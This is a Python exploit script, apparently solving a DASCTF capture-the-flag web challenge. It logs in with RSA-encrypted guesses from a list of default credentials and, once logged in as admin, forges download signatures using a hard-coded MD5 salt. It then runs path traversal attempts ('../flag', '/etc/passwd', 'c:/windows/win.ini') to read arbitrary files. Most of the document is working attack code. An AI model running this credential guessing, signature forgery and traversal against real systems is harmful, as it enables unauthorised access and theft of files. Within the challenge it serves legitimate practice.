1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163
| import requests import base64 from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 from urllib.parse import quote
with open('public.pem', 'r') as f: key_data = f.read() public_key = RSA.importKey(key_data) cipher = PKCS1_v1_5.new(public_key)
def encrypt_password(password): ciphertext = cipher.encrypt(password.encode('utf-8')) return base64.b64encode(ciphertext).decode('utf-8')
def try_login(username, password_plaintext): url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login' encrypted_pass = encrypt_password(password_plaintext) data = { 'username': username, 'password': encrypted_pass } try: response = requests.post(url, data=data, allow_redirects=False) location = response.headers.get('Location', 'No Location') print(f"User: {username}, Pass: {password_plaintext} -> Status: {response.status_code}, Loc: {location}") if response.status_code != 200 and response.status_code != 302: print(f"Response: {response.text[:200]}") if "flag" in response.text or "DASCTF" in response.text: print(f"POSSIBLE FLAG FOUND: {response.text}") return response except Exception as e: print(f"Error: {e}")
credentials = [ ('admin', 'admin'), ('admin', '123456'), ('root', 'root'), ('guest', 'guest'), ('test', 'test') ]
print("Testing common credentials...") for u, p in credentials: try_login(u, p)
print("\n--- Exploiting ---")
s = requests.Session()
url_login = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login' password_plaintext = '123456' encrypted_pass = encrypt_password(password_plaintext) data = { 'username': 'admin', 'password': encrypted_pass }
response = s.post(url_login, data=data, allow_redirects=False) print(f"Login Status: {response.status_code}") print(f"Location: {response.headers.get('Location')}") print(f"Cookies: {s.cookies.get_dict()}")
if 'Location' in response.headers: loc = response.headers['Location'] if ':81' not in loc and 'buuoj.cn' in loc: loc = loc.replace('buuoj.cn', 'buuoj.cn:81') print(f"Accessing: {loc}") dashboard_response = s.get(loc) print(f"Dashboard Status: {dashboard_response.status_code}") print(f"Dashboard Content Preview: {dashboard_response.text[:500]}") if "flag" in dashboard_response.text or "DASCTF" in dashboard_response.text: print(f"FLAG FOUND IN DASHBOARD: {dashboard_response.text}") import hashlib
def calculate_sign(filename): salt = "f9bc855c9df15ba7602945fb939deefc" first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest() jie_str = first_mi[5:16] new_str = first_mi + jie_str + salt sign = hashlib.md5(new_str.encode('utf-8')).hexdigest() return sign
expected_sign = "6f742c2e79030435b7edc1d79b8678f6" calculated_sign = calculate_sign("app.jmx") print(f"\n--- Sign Verification ---") print(f"File: app.jmx") print(f"Expected: {expected_sign}") print(f"Calculated: {calculated_sign}")
if expected_sign == calculated_sign: print("Sign algorithm verified!") else: print("Sign algorithm mismatch! Check logic.")
def download_file(filename): print(f"\nAttempting to download {filename}...") sign = calculate_sign(filename) download_url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/download' params = { 'file': filename, 'sign': sign } try: file_resp = s.get(download_url, params=params) print(f"Download Status: {file_resp.status_code}") if file_resp.status_code == 200: print(f"Content Preview:\n{file_resp.text[:500]}") if "DASCTF" in file_resp.text or "flag{" in file_resp.text: print(f"FLAG FOUND: {file_resp.text}") return True else: print(f"Download failed: {file_resp.text}") return False except Exception as e: print(f"Download error: {e}") return False
if expected_sign == calculated_sign: targets = [ "flag", "/flag", "../flag", "../../flag", "../../../flag", "../../../../flag", "../../../../../../flag", "/etc/passwd", "c:/windows/win.ini" ] for t in targets: if download_file(t): break
|